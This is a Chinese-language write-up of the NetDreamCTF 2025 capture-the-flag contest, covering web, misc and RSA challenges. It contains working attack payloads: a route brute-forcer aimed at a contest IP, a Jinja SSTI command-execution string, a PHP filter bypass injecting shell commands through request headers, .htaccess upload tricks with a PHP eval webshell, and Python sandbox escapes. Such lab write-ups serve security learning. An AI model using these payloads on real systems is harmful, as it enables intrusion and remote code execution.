2025-NetDreamctf


web

ezpython

f12的得到路由/s3c0nd,提示fuzz数字,且是6位,ai写代码爆破就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import concurrent.futures

# ===== 目标配置 =====
TARGET = "http://101.200.39.193:32969"  # 目标URL
THREADS = 50  # 并发线程数(可根据网络情况调整)
TIMEOUT = 5  # 请求超时(秒)
START = 100000  # 起始数字
END = 999999  # 结束数字

# ===== 有效性验证 =====
def check_route(number):
    try:
        url = f"{TARGET}/{number}"
        resp = requests.get(url, timeout=TIMEOUT)

        # 有效性判断逻辑
        if resp.status_code == 200:
            # 可以根据实际情况调整过滤条件
            if len(resp.text) > 100 and "404" not in resp.text:
                return True, number, len(resp.text)
    except Exception as e:
        pass
    return False, None, 0

# ===== 主爆破逻辑 =====
found_routes = []

def brute_worker(number):
    global found_routes
    if found_routes:  # 如果已经找到就跳过
        return

    valid, num, length = check_route(number)
    if valid:
        found_routes.append((num, length))
        print(f"\033[32m[+] 发现有效路由: /{num} (响应长度: {length})\033[0m")

# ===== 执行爆破 =====
if __name__ == "__main__":
    print(f"开始路由爆破,目标为6位数字组合({START}-{END})...")

    with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
        # 创建数字范围列表
        numbers = range(START, END + 1)
        # 提交任务
        futures = [executor.submit(brute_worker, num) for num in numbers]
        
        # 等待第一个结果完成
        for future in concurrent.futures.as_completed(futures):
            if found_routes:
                executor.shutdown(cancel_futures=True)
                break

    # 打印最终结果
    print("\n=== 爆破结果 ===")
    if found_routes:
        for i, (route, length) in enumerate(found_routes):
            print(f"路由{i + 1}: {TARGET}/{route} (响应长度: {length})")
    else:
        print("未发现有效路由")

得到114514,提示有参数,直接arjun爆破

image-20250903193153081

然后就是打ssti就行{{lipsum.__globals__.os.popen('cat /f*').read()}}(复现环境flag在env里面)

ezbypass

考点1;利用apache_request_headers()与join打无参数rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php

$test=$_GET['test'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
    eval($test);
}
else{
    echo "oh nonono hacker!";
}

highlight_file(__FILE__);

这里显然漏掉了system与apache_request_headers(),这个**apache_request_headers()**是getallheaders的别名,然后在TGCTF有个解是system(implode(apache_request_headers()));乍一看可以用,仔细一看发现implode过滤了,但是join是implode的别名可以替代,所以最后的payload是(注意命令前要分号,然后要删除多余的请求头,不然可能不好执行)

1
2
3
4

GET /?test=system(join(apache_request_headers())); HTTP/1.1
Host: x.x.x.x
cmd: ;echo$IFS`cat /flag`>1.txt;

复现以为题目环境有点问题,ls /有结果,flag没有。

image-20250904160227416

但是发现flag环境里面有

image-20250904160804417

考点2:利用|构造过滤的关键词

这里发现有个|,这里可以用

php 7的eval的第一个小特性,如果输入的是一个常量,那么默认解析为字符串。 所以这个就成了位操作 :

1
aaa|bbb => "aaa"|"bbb"
1
(systee|systel)((anv|dnv));
image-20250919155428214

但是这里过滤了/,拿flag还是有难度,此文通过这个方法设置flag路径然后include拿到flag

关于NetDreamCTF2025的那道ezbypass题

ezupload

解法一:二次文件名过滤+htaccess图片马+内容过滤?

我们发现是apache环境,可以立马想到肯定是围绕这个.htaccess打,简单尝试发现过滤了php与.htaccess,但是尝试发现,输入1.htacces2htaccess返回1.2,所以发现后端是删除这两后缀,直接嵌套一层1.htacceshtaccesss,发现还是发现返回1.,那再嵌套一层。

.htahtacceshtaccesssccess,发现返回.htaccess!

image-20250904144557071

那接下来就是打htaccess图片马就好了

1
2
3
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

1.jpg打(过滤了?所以只能用标签)

1
<script language='php'>eval($_POST[1])</script>

但是发现有disable_function,而且蚁剑绕不过。那就直接用php的函数了

<script language='php'>print_r(scandir('/'))</script>

image-20250904163126384

然后就行show_source(’/flag’)就行了(复现的话/flag没flag,环境有,直接查phpinfo就有了)

(也可以不打图片马直接打1.ppphphpphphp,只不过这个比较难构造)

解法二:直接用htaccess包含/flag

这样就是当前文件所有jpg都当作php处理,即都会包含/flag

1
2
AddType application/x-httpd-php .jpg
php_value auto_append_file "/flag"

image-20250904170258465

这题与2025黄河流域那道文件上传类似,不过那个是.user.ini包含

1
2
auto_prepend_file = /flag
auto_append_file = /flag

Pickle♥dill

考点:斜体字绕过

1
__impºrt__('os').pºpen('cat app.py').reªd()

I_dont_like_sandbox

1
from os import system as __getattr__;from __main__ import env
1
2
3
__getattr__是 Python 自带的一个方法,当访问一个对象不存在的对象属性的时候就会被调用,在这里我们用 from os import system as __getattr__提前把 __getattr__改成了 system 函数

接着,从 from __main__ import env,我们正在运行的程序会被 Python 认为是__main__模块,而 env 是这个模块里面不存在的一个属性,所以__getattr__会被调用,而我们的属性名为 env,所以本来是__getattr__("env") 会被拼接成 system("env"),达到了获得 shell 的目的

image-20250904223653169

1
from os import system as __getattr__;from __main__ import sh		//也行

这题类似这个题ADCTF2024 个人 Writeup | GamerNoTitle

I_like_sandbox

1
2
3
4
pydoc.pipepager(text, cmd)
text:要显示的文本内容
cmd:系统命令(如 "cat"、"less")
关键点:它的第二个参数 cmd 会直接传递给 os.popen() 或 subprocess.Popen,因此可以执行任意命令!

image-20250904231044259

misc

签到

base64解码后到阿里云网站运维检测平台找txt记录就行

image-20250816104240082

cryto

EzRSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933

# 直接对 c 开立方(因为 e=3 很小,可能 m^3 < n)
m = gmpy2.iroot(c, 3)[0]

# 转换为字节
flag = long_to_bytes(m)
print(flag.decode())
谢谢观看